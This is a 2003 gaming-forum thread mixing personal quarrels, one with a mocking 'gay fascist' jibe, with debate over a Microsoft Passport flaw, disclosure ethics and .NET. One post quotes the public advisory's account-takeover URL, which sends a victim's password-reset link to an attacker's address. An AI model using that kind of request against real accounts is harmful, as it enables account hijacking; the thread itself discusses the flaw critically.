Thread Tools
Old May 10, 2003, 02:01   #31
Agathon
Mac
Emperor
 
Agathon's Avatar
 
Local Time: 10:09
Local Date: November 2, 2010
Join Date: Dec 2002
Location: Wal supports the CPA
Posts: 3,948
Quote:
Originally posted by Asher

Someone should also explain to you the concept of a thread. Using my cheeky implication months ago in another thread that some people (in general) were necropheliacs.
I like this, trying to back out of it. The context was the thread on whether it was right to show pictures of dead combatants in the Iran-Iraq war and myself and a few other posters were arguing that in a democracy people really should know what goes on in war. You called us sick necrophiliacs and you weren't joking; indeed you were in high dudgeon at the time. There was nothing cheeky about it - it was a pretty sick thing to say.

Add to that the continual stream of abuse you hurl whenever I disagree with you, aimed at my job (despite your poor understanding of it) and whatever else, even after I try to be nice to you and you can see why I'd get annoyed. I don't care if you disagree, but the tone is sometimes grating and motivates me to perhaps say things I'd rather not.

Quote:
Or at least be a man and apologize.
Alright then, I'm sorry if you were offended but the original post in this thread was meant to be a joke (surely you can see that your die-hard support of MS is funny - I can see that my occasionally over the top defence of things I like is funny - obsession is part of being human). However, you obviously couldn't see this and went off at the deep end at me, saying that you'd ban me if you were a mod, and you told me to grow up.

Now call me an idiot but isn't basically implying you're going to the equivalent of telling the teacher and telling me to grow up a little rich?

Looking back on it, I think I should have omitted "gay" (although "fascist" and "rich" can stay ) as I realise you've had a tough time coming out to your folks. Nothing particularly evil was intended by that.
__________________
Only feebs vote.
Agathon is offline  
Old May 10, 2003, 02:02   #32
faded glory
Civilization II Multiplayer
King
 
faded glory's Avatar
 
Local Time: 01:09
Local Date: November 2, 2010
Join Date: Jan 2001
Location: Fascist party of apolyton.
Posts: 1,405
I was just having an intellegent OS discussion with Asher!

Now where did he go?
faded glory is offline  
Old May 10, 2003, 02:03   #33
Asher
Apolytoners Hall of Fame
President of the OT
 
Asher's Avatar
 
Local Time: 19:09
Local Date: November 1, 2010
Join Date: Nov 1999
Location: Calgary, Alberta
Posts: 40,843
How can anybody in the right state of mind equate me with being fascist? I don't understand.

I've always been very socially liberal...
__________________
"I'll never doubt you again when it comes to hockey, [Prince] Asher." - Guynemer
Asher is offline  
Old May 10, 2003, 02:03   #34
MichaeltheGreat
Apolytoners Hall of Fame
Apolyton Grand Executioner
 
MichaeltheGreat's Avatar
 
Local Time: 17:09
Local Date: November 1, 2010
Join Date: Oct 1999
Location: Fenway Pahk
Posts: 1,755
I guess one for a week is ok. I'd rather play GalCiv, so the rest of you chill with the insults towards Agathon. He won't be replying for a while anyway.
__________________
Bush-Cheney 2008. What's another amendment between friends?
*******
When all else fails, blame brown people. | Hire a teen, while they still know it all.
MichaeltheGreat is offline  
Old May 10, 2003, 02:10   #35
faded glory
Civilization II Multiplayer
King
 
faded glory's Avatar
 
Local Time: 01:09
Local Date: November 2, 2010
Join Date: Jan 2001
Location: Fascist party of apolyton.
Posts: 1,405
I thought GALCIV sucked as much as the orignal
faded glory is offline  
Old May 10, 2003, 02:32   #36
Shi Huangdi
Emperor
 
Shi Huangdi's Avatar
 
Local Time: 20:09
Local Date: November 1, 2010
Join Date: Apr 1999
Location: Alexandria, VA
Posts: 4,213
Quote:
Originally posted by Agathon


Awwwww, poor little rich gay fascist boy.
__________________
"I'm moving to the Left" - Lancer

"I imagine the neighbors on your right are estatic." - Slowwhand
Shi Huangdi is offline  
Old May 10, 2003, 02:38   #37
LoneWolf
Settler
 
Local Time: 19:09
Local Date: November 1, 2010
Join Date: Feb 2001
Posts: 24
I must say that the concept of a "rich, gay, fascist" is quite remarkable. How many of those can there be?
LoneWolf is offline  
Old May 10, 2003, 02:40   #38
BustaMike
The Courts of Candle'Bre
King
 
BustaMike's Avatar
 
Local Time: 17:09
Local Date: November 1, 2010
Join Date: Nov 1999
Location: You think you're better than me? You've been handling my ass pennies!!!
Posts: 1,101
Awww... Agathon is okay with me. He laughed at my Haiku in Speer's poetry thread... you know, the one that started off with "not to be gay or nothing." (EDIT Speer's thread not my haiku)

Asher - normally, I'm with you on your promotion of Microsoft, but in this case it seems to be a pretty blatant security hole that they should have fixed. I fail to see how you can just say that Microsoft didn't do anything negligent here.
__________________
"Luck's last match struck in the pouring down wind." - Chris Cornell, "Mindriot"
BustaMike is offline  
Old May 10, 2003, 02:40   #39
faded glory
Civilization II Multiplayer
King
 
faded glory's Avatar
 
Local Time: 01:09
Local Date: November 2, 2010
Join Date: Jan 2001
Location: Fascist party of apolyton.
Posts: 1,405
Im sorry i havent been in english class for years. Isnt that an Oxymoron?
faded glory is offline  
Old May 10, 2003, 02:41   #40
faded glory
Civilization II Multiplayer
King
 
faded glory's Avatar
 
Local Time: 01:09
Local Date: November 2, 2010
Join Date: Jan 2001
Location: Fascist party of apolyton.
Posts: 1,405
I mean you know...

what with a Fascist being gay
and all
faded glory is offline  
Old May 10, 2003, 02:42   #41
Asher
Apolytoners Hall of Fame
President of the OT
 
Asher's Avatar
 
Local Time: 19:09
Local Date: November 1, 2010
Join Date: Nov 1999
Location: Calgary, Alberta
Posts: 40,843
Quote:
Originally posted by BustaMike
Asher - normally, I'm with you on your promotion of Microsoft, but in this case it seems to be a pretty blatant security hole that they should have fixed. I fail to see how you can just say that Microsoft didn't do anything negligent here.
They did fix it, 3 hours after they found out about it, it was patched...

Or are you saying they should've known it existed? In that, case, of course that'd be nice. But when you produce as much software as MS, and have so many people constantly trying to break it, things happen.
__________________
"I'll never doubt you again when it comes to hockey, [Prince] Asher." - Guynemer
Asher is offline  
Old May 10, 2003, 02:44   #42
faded glory
Civilization II Multiplayer
King
 
faded glory's Avatar
 
Local Time: 01:09
Local Date: November 2, 2010
Join Date: Jan 2001
Location: Fascist party of apolyton.
Posts: 1,405
Have any of you guys ever programmed? I mess with VB and I have a hell ov a time putting together a program with more than 2 forms and 500 lines of code. Let alone a friggin thing like .net. **** happens. Its nobodies fault, software security is alot like Airline safety. Its a policy written with blood. You dont know somethings wrong, till it happens.
faded glory is offline  
Old May 10, 2003, 02:45   #43
Gatekeeper
Mac
King
 
Gatekeeper's Avatar
 
Local Time: 19:09
Local Date: November 1, 2010
Join Date: Feb 2000
Location: United States of America
Posts: 2,306
A little bit more diversity in the world of computer operating systems would make incidents like this not as widespread or as potentially destructive, IMO.

Gatekeeper
__________________
"I may not agree with what you have to say, but I'll die defending your right to say it." — Voltaire

"Wheresoever you go, go with all your heart." — Confucius
Gatekeeper is offline  
Old May 10, 2003, 02:46   #44
BustaMike
The Courts of Candle'Bre
King
 
BustaMike's Avatar
 
Local Time: 17:09
Local Date: November 1, 2010
Join Date: Nov 1999
Location: You think you're better than me? You've been handling my ass pennies!!!
Posts: 1,101
They did patch it really quick for sure. The thing is that the security hole was caused by simply entering a value into the URL to take over someone's account if I'm not mistaken. This seems really dumb. The system should have been designed with better security than that.
__________________
"Luck's last match struck in the pouring down wind." - Chris Cornell, "Mindriot"
BustaMike is offline  
Old May 10, 2003, 02:46   #45
MichaeltheGreat
Apolytoners Hall of Fame
Apolyton Grand Executioner
 
MichaeltheGreat's Avatar
 
Local Time: 17:09
Local Date: November 1, 2010
Join Date: Oct 1999
Location: Fenway Pahk
Posts: 1,755
Quote:
Originally posted by faded glory
I thought GALCIV sucked as much as the orignal
We all care about the opinions of gas-pumpers, Steverino.
__________________
Bush-Cheney 2008. What's another amendment between friends?
*******
When all else fails, blame brown people. | Hire a teen, while they still know it all.
MichaeltheGreat is offline  
Old May 10, 2003, 02:48   #46
Asher
Apolytoners Hall of Fame
President of the OT
 
Asher's Avatar
 
Local Time: 19:09
Local Date: November 1, 2010
Join Date: Nov 1999
Location: Calgary, Alberta
Posts: 40,843
Quote:
Originally posted by Gatekeeper
A little bit more diversity in the world of computer operating systems would make incidents like this not as widespread or as potentially destructive, IMO.

Gatekeeper
A little more diversity in the world of computer operating systems would lead to increased development costs, bug counts, and complications since there's a wide variety OSes the software interferes with.

Of course, others would argue it'd be fine to just make a simple "standard" (like a POSIX on steroids), and have a bunch of programs interface with it.

If we did that, it'd stifle progress and innovation.
__________________
"I'll never doubt you again when it comes to hockey, [Prince] Asher." - Guynemer
Asher is offline  
Old May 10, 2003, 02:49   #47
Asher
Apolytoners Hall of Fame
President of the OT
 
Asher's Avatar
 
Local Time: 19:09
Local Date: November 1, 2010
Join Date: Nov 1999
Location: Calgary, Alberta
Posts: 40,843
Quote:
Originally posted by BustaMike
They did patch it really quick for sure. The thing is that the security hole was caused by simply entering a value into the URL to take over someone's account if I'm not mistaken. This seems really dumb. The system should have been designed with better security than that.
No kidding, but you'll find that the hardest mistakes to catch in programming are the really dumb ones.

This bug in particular would have never been caught by using MS' /GS compile flag, checking buffer overflows, or by examining logic and permissions. Somebody forgot a simple 'if' somewhere which qualified where the host came from.

It's like FG said, stuff like that sometimes slips out and you don't know it's broken until someone finds out about it.
__________________
"I'll never doubt you again when it comes to hockey, [Prince] Asher." - Guynemer
Asher is offline  
Old May 10, 2003, 02:53   #48
MichaeltheGreat
Apolytoners Hall of Fame
Apolyton Grand Executioner
 
MichaeltheGreat's Avatar
 
Local Time: 17:09
Local Date: November 1, 2010
Join Date: Oct 1999
Location: Fenway Pahk
Posts: 1,755
Quote:
Originally posted by faded glory
Have any of you guys ever programmed? I mess with VB and I have a hell ov a time putting together a program with more than 2 forms and 500 lines of code.
This speaks more to your level of skill than the complexity of commercial grade programming. Somehow, when you talk about two forms and 500 lines of code, I have a vision of you putting all that code in the initial form's open method.

Quote:
Let alone a friggin thing like .net. **** happens. Its nobodies fault, software security is alot like Airline safety. Its a policy written with blood. You dont know somethings wrong, till it happens.
.net only has a couple of really problematic areas (garbage collection and workarounds for deterministic finalization of objects being one) and has a years long history of development (it's COM+ under a new name), a huge staff, and a huge development budget.

Software security is a matter of testing and consistent application of sound practices. The problem with this is not how quickly or how it was caught, but that it was a very basic human error type of lapse.
__________________
Bush-Cheney 2008. What's another amendment between friends?
*******
When all else fails, blame brown people. | Hire a teen, while they still know it all.
MichaeltheGreat is offline  
Old May 10, 2003, 02:59   #49
Asher
Apolytoners Hall of Fame
President of the OT
 
Asher's Avatar
 
Local Time: 19:09
Local Date: November 1, 2010
Join Date: Nov 1999
Location: Calgary, Alberta
Posts: 40,843
MtG: Have you had a chance to use .NET Framework 1.1 yet?

I've not yet (still on VS.NET 2002 and .NET 1.0), but the changelogs I've read said that garbage collection and performance in general has been improved.
__________________
"I'll never doubt you again when it comes to hockey, [Prince] Asher." - Guynemer
Asher is offline  
Old May 10, 2003, 03:03   #50
faded glory
Civilization II Multiplayer
King
 
faded glory's Avatar
 
Local Time: 01:09
Local Date: November 2, 2010
Join Date: Jan 2001
Location: Fascist party of apolyton.
Posts: 1,405
Quote:
Originally posted by Asher

. Somebody forgot a simple 'if' somewhere which qualified where the host came from.
And "Then" and probably "Or Else"

Quote:
It's like FG said, stuff like that sometimes slips out and you don't know it's broken until someone finds out about it.
Exactly. You get it.


Quote:
We all care about the opinions of gas-pumpers, Steverino
Why does that still stick? I was totally razzling him back in the day. Oh what I would do to see that thread again. And my n00bish antics.






Quote:
This speaks more to your level of skill than the complexity of commercial grade programming. Somehow, when you talk about two forms and 500 lines of code, I have a vision of you putting all that code in the initial form's open method.
blah blah..i threw it out as an example. Total number of programs Steve has tried to write: 10. Total number of programs steve has gotten to work: 0. Total number of programs steve is trying to figure out: 3 . Total number of Dynamic Array's steve is trying to figure out this weekend:3. Steve doesnt understand Database libraries very well


anyway

Quote:
.net only has a couple of really problematic areas (garbage collection and workarounds for deterministic finalization of objects being one) and has a years long history of development (it's COM+ under a new name), a huge staff, and a huge development budget.
.net is a good idea. It makes things a helluvalot easier. I wish everybody was .net

Quote:
Software security is a matter of testing and consistent application of sound practices. The problem with this is not how quickly or how it was caught, but that it was a very basic human error type of lapse
The problem is. This stuff isnt picked up in Debug or with whatever standard tools MS uses. So all the testing in the world STILL wont fix everything.
faded glory is offline  
Old May 10, 2003, 03:05   #51
faded glory
Civilization II Multiplayer
King
 
faded glory's Avatar
 
Local Time: 01:09
Local Date: November 2, 2010
Join Date: Jan 2001
Location: Fascist party of apolyton.
Posts: 1,405
actually that last one didnt make any sense cuz my text GOT EATEN!!!!!!!!!

Im not retypin it. '

err...alot of it.
faded glory is offline  
Old May 10, 2003, 03:27   #52
MichaeltheGreat
Apolytoners Hall of Fame
Apolyton Grand Executioner
 
MichaeltheGreat's Avatar
 
Local Time: 17:09
Local Date: November 1, 2010
Join Date: Oct 1999
Location: Fenway Pahk
Posts: 1,755
Quote:
Originally posted by Asher
MtG: Have you had a chance to use .NET Framework 1.1 yet?

I've not yet (still on VS.NET 2002 and .NET 1.0), but the changelogs I've read said that garbage collection and performance in general has been improved.
I haven't yet. I have a fairly big project in development now, and I don't want to change while in development without evaluating the differences first. Right now, I don't have the luxury of spare boxes just to test the differences, because Bush's war and the spike in fuel prices delayed the development money I'm getting from my client.

Garbage collection is a bit too random as far as when it occurs in .NET 1.0, and I have a lot of high-end resources to release (DB connections and sockets, including SSL sockets, in particular), so I've been in the habit of forcing dereferenced objects to be GC'd explicitly.

It would be great if there was a way to specify by property your desired priorities for objects or classes to be checked for GC, or if you could control the frequency, but I'll take any improvement I can get in it.
__________________
Bush-Cheney 2008. What's another amendment between friends?
*******
When all else fails, blame brown people. | Hire a teen, while they still know it all.
MichaeltheGreat is offline  
Old May 10, 2003, 03:32   #53
Harovan
staff
PtWDG Gathering StormPtWDG2 Monty PythonC4DG Gathering Storm
Civ4: Colonization Content Editor
 
Local Time: 02:09
Local Date: November 2, 2010
Join Date: Dec 2001
Posts: 11,117
It seems in this case Microsoft reacted really quick. I would give them a thumbs-up, except that I never could be arsed to open a passport account at all, so I don't care.

Asher - in my books you are a rightwinger at the very least. Not that this would be a reason to insult you, though.
Harovan is offline  
Old May 10, 2003, 03:35   #54
Asher
Apolytoners Hall of Fame
President of the OT
 
Asher's Avatar
 
Local Time: 19:09
Local Date: November 1, 2010
Join Date: Nov 1999
Location: Calgary, Alberta
Posts: 40,843
I consider myself a right-winger, too, but I still am very socially liberal.

Gay equal rights, public healthcare, welfare, public transportation, pro-choice, etc.
__________________
"I'll never doubt you again when it comes to hockey, [Prince] Asher." - Guynemer
Asher is offline  
Old May 10, 2003, 03:39   #55
MichaeltheGreat
Apolytoners Hall of Fame
Apolyton Grand Executioner
 
MichaeltheGreat's Avatar
 
Local Time: 17:09
Local Date: November 1, 2010
Join Date: Oct 1999
Location: Fenway Pahk
Posts: 1,755
Quote:
Originally posted by faded glory
Why does that still stick? I was totally razzling him back in the day. Oh what I would do to see that thread again. And my n00bish antics.
Some things just fit.

Quote:
blah blah..i threw it out as an example. Total number of programs Steve has tried to write: 10. Total number of programs steve has gotten to work: 0. Total number of programs steve is trying to figure out: 3 . Total number of Dynamic Array's steve is trying to figure out this weekend:3. Steve doesnt understand Database libraries very well
Dynarrays in VB 6, or VB .NET? Are you using ADO, or just calling local MDB files?

Quote:
The problem is. This stuff isnt picked up in Debug or with whatever standard tools MS uses. So all the testing in the world STILL wont fix everything.
Logic problems are never picked up with coding tools. I have a large commercial app suite I'm working on, that among other things, grants various levels of access to many parties (lenders, owners, customers, management auditors, maintenance pukes, accounting people, etc.), inside and outside the enterprise owner. Depending on who you are and your level of access with a particular project, you can remotely shut down a powerplant in the middle of summer, or adjust a bill for a six-figure amount, or examine maintenance history. (A big deal if there's a multimillion dollar warranty claim.) You can also demote administrators, etc. Depending on who you are, you can have entirely different roles on different projects, which are open-ended - there can be a hundred of them.

All the various auth/auth stuff I do can be code checked with tools, but the logical choices of who has what permissions have to be checked by hand against my code spec and design documents. As does the process of making sure, on all parts of the databases, that whatever is not explicitly permitted is denied. In the development phase, I can do that by hand because I have just a few test databases, but in the commercial release, I have to write a custom tool just to do that sort of permissions setup, and to verify that permissions are set accurately. I get my ass sued into the ground if I screw up. So yes, it can be done.
__________________
Bush-Cheney 2008. What's another amendment between friends?
*******
When all else fails, blame brown people. | Hire a teen, while they still know it all.
MichaeltheGreat is offline  
Old May 10, 2003, 05:30   #56
Angelo Scotto
Scenario League / Civ2-Creation
Warlord
 
Local Time: 01:09
Local Date: November 2, 2010
Join Date: Oct 1999
Location: Milan, Italy
Posts: 127
Quote:
Originally posted by Asher
What they also don't mention in the article is the guy sent e-mails to MS departments completely unrelated to software security.

There are official channels for this kind of information, mass-mailing them to stuff like pr@microsoft.com doesn't get you anywhere.

http://news.com.com/2100-1002-1000429.html?tag=nl

quote:
However, he didn't send an e-mail to Microsoft's standard security contact point, secure@microsoft.com.
when you're quoting an article you should quote all the paragraph and not a phrase out of context:

The security consultant also said that he had repeatedly sent e-mail warnings to Microsoft's abuse and security addresses at Hotmail.com to no avail. However, he didn't send an e-mail to Microsoft's standard security contact point, secure@microsoft.com.
No way, trying to contact abuse@hotmail.com for a hotmail (and passport) vulnerability and being answered by NLP bot is not the same as trying to warn pr@microsoft.com

Quote:
Originally posted by Asher
MS found out about it from a C|Net story on it, which the "honourable" hacker leaked to the public so anyone could exploit it.
I hope for Microsoft that they really didn't found the story on C|Net...
The author made his post on bugtraq, a well known security mailing-list and Microsoft probably read it there (are you trying to defend MS or to insult it?)

About the leak to the public:
It is called open-disclosure and is what forces a lot of companies to fix bugs quickly, you start sending mails to the company warning them about the bug you've discovered and if they don't answer you, you simply submit it to a security mailing-list.
It was invented because someone discovered that when the vulnerability was public the company was able to fix it in a couple of hours, while when it wasn't the company took months just to answer the mail.
It happens for Microsoft, Adobe, RedHat, Oracle, Mandrake... etc, it's not just an anti-MS invention.

Quote:
Originally posted by Asher
1) didn't allow enough time for employees to forward the message seeing as it was 8pm,
Form the original post to bugtraq:

Vulnerability / Flaw discovered : 12th April 2003
Vendor / Owner notified : Yes (as far as emailing them more than 10 times is concerned)

He waited answer since 12th April, he didn't send two mails one at Hotmail and one to bugtraq the same day!

Quote:
Originally posted by Asher
They did fix it, 3 hours after they found out about it, it was patched...
You see that open-disclosure works?

Quote:
Originally posted by Asher
Or are you saying they should've known it existed? In that, case, of course that'd be nice. But when you produce as much software as MS, and have so many people constantly trying to break it, things happen.
I totally agree with you on this in general, but in this case i can't, this is from the post to bugtraq


All you got to do is hit the following in your browser:

https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmail.com&id=&cb=&prefem=attacker@attacker.com&rst=1

And you’ll get an email on attacker@attacker.com asking you to click on a url something like this:

http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033

From that url, you can reset the password and I don’t think I need to say anything more about it.

Now, how on the hell they left prefem to accept any email address? it's not like a buffer overflow, it's a giant conceptual mistake, and done on Passport, not on Age of Empires!

Quote:
Originally posted by Asher
Of course, others would argue it'd be fine to just make a simple "standard" (like a POSIX on steroids), and have a bunch of programs interface with it.
What's about .NET ? I really like it

BTW, i'm not against MS, their security-policy is good enough (expecially compared with that of other companies like Adobe for example) and the huge quantity of bugs found in its products is due to the quantity of code that they write
__________________
"If it works, it's obsolete."
-- Marshall McLuhan
Angelo Scotto is offline  
Old May 10, 2003, 10:01   #57
Urban Ranger
NationStatesApolyton Storywriters' GuildNever Ending Stories
Deity
 
Urban Ranger's Avatar
 
Local Time: 09:09
Local Date: November 2, 2010
Join Date: May 1999
Location: The City State of Noosphere, CPA special envoy
Posts: 14,606
Quote:
Originally posted by Asher
They did fix it, 3 hours after they found out about it, it was patched...
Ah, after the researcher sent 10 e-mail to MS without a response.

Quote:
Originally posted by Asher
Or are you saying they should've known it existed? In that, case, of course that'd be nice. But when you produce as much software as MS, and have so many people constantly trying to break it, things happen.
So much for "Trustworthy Computing." This wasn't even an obscure hole. It was pathetic programming to begin with.
__________________
(\__/) 07/07/1937 - Never forget
(='.'=) "Claims demand evidence; extraordinary claims demand extraordinary evidence." -- Carl Sagan
(")_(") "Starting the fire from within."
Urban Ranger is offline  
Old May 10, 2003, 11:36   #58
MichaeltheGreat
Apolytoners Hall of Fame
Apolyton Grand Executioner
 
MichaeltheGreat's Avatar
 
Local Time: 17:09
Local Date: November 1, 2010
Join Date: Oct 1999
Location: Fenway Pahk
Posts: 1,755
Maybe, but .NET still beats the **** out of anything else out there.

Luckily for Sun, Java is now a standard for the US military, who is upgrading systems by porting non-OOP Ada and other legacy spaghetti code base to a non-objectified approach using Java spaghetti code.
__________________
Bush-Cheney 2008. What's another amendment between friends?
*******
When all else fails, blame brown people. | Hire a teen, while they still know it all.

Last edited by MichaeltheGreat; May 10, 2003 at 11:43.
MichaeltheGreat is offline  
Old May 10, 2003, 11:56   #59
Urban Ranger
NationStatesApolyton Storywriters' GuildNever Ending Stories
Deity
 
Urban Ranger's Avatar
 
Local Time: 09:09
Local Date: November 2, 2010
Join Date: May 1999
Location: The City State of Noosphere, CPA special envoy
Posts: 14,606
I have not used .NET so I can't tell, but if it's just repackaged COM, I would have to say ORB/COBRA is a better architecture. You can't really compare .NET and Java though, because .NET is about "Web services" (whatever that means) and Java is about portable, write-once run-many, code.
__________________
(\__/) 07/07/1937 - Never forget
(='.'=) "Claims demand evidence; extraordinary claims demand extraordinary evidence." -- Carl Sagan
(")_(") "Starting the fire from within."
Urban Ranger is offline  
Old May 10, 2003, 12:47   #60
MichaeltheGreat
Apolytoners Hall of Fame
Apolyton Grand Executioner
 
MichaeltheGreat's Avatar
 
Local Time: 17:09
Local Date: November 1, 2010
Join Date: Oct 1999
Location: Fenway Pahk
Posts: 1,755
.NET is both broader and more advanced than COM in several ways. Although M$ originally was going to call it COM+, it made sense to rename it, as the similarity to COM is minimal.

"Web services" are just a small aspect of .NET - there's really no reason not to use it for standard desktop applications, n-tier, or web apps. J2EE also addresses web services, which really are (IMO) still at the stage of being a solution looking for a problem. .NET is much more about being a cross-platform capable operating environment, without being dependent on "The mother of all languages" nonsense.

Java is hardly a panacea - it's lots of fun to want to make use of features in 1.3 or 1.4, while knowing some of the devices you want to support only have 1.1 or 1.2 compatible JVMs. Java still has it's place - I wouldn't try writing game apps for my Nextel phone in .NET for another year or two.

Not to mention that Java does it's "one size (almost, usually, well, more often than not) fits (almost, some of the time) all" by compromising both on speed and on implementation. GUI elements in Java on Windows suck compared to native Windows elements, regardless of whether you use the M$ or Sun JVMs. Java interoperability with languages like C++ is problematic, and sometimes just painful.

.NET does a lot of things for you:

It frees you from DLL-hell by providing excellent versioning tools. Each app can specify versioning behavior of its components by default global behavior, at the app level, or at the level of each component. Automatic updating via remote server is easy, and won't break anything else, even if the components being updates reside in the global assembly cache.

Inheritance and other OOP features and memory management is fully supported in all .NET compliant languages, including stuff like COBOL.

Objects written in one .NET compliant language are seamlessly compatible in all respects with objects written in any other .NET compliant language, so you can program in your preferred language or use the language tool best adapted to what you're doing. You also no longer have to care what language 3rd-party components or assemblies are written in, there are no compatibility issues.

Dependence on the Windows registry and Win32 API calls is completely eliminated, so all .NET apps are fully compatible with all Win versions, if they're running the .NET framework.

Assemblies can reside privately to the application, or globally, or any mixture, and the delivered app automatically finds the right ones.

Memory leaks are eliminated by garbage collection, which can be invoked manually.

The independence from Win32API and the registry, plus the specs of the MS Intermediate Language will allow development of non-Windows .NET frameworks, giving platform independence a la the JVM, but with a lot more optimization.

Depending on the device restrictions you have to deal with and any specific requirements you have, .NET apps and assemblies all originally compile by a JITter, but you can either have the app or assembly continue with JIT behavior, or just do it the first time and run the precompiled app every subsequent time.

Oh, and it's backwards compatible with COM. Even COM objects that couldn't talk to each other in DCOM work seemlessly together in .NET
__________________
Bush-Cheney 2008. What's another amendment between friends?
*******
When all else fails, blame brown people. | Hire a teen, while they still know it all.
MichaeltheGreat is offline  
 

Bookmarks

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is On

Forum Jump


All times are GMT -4. The time now is 21:09.


Design by Vjacheslav Trushkin, color scheme by ColorizeIt!.
Powered by vBulletin® Version 3.8.2
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.
Apolyton Civilization Site | Copyright © The Apolyton Team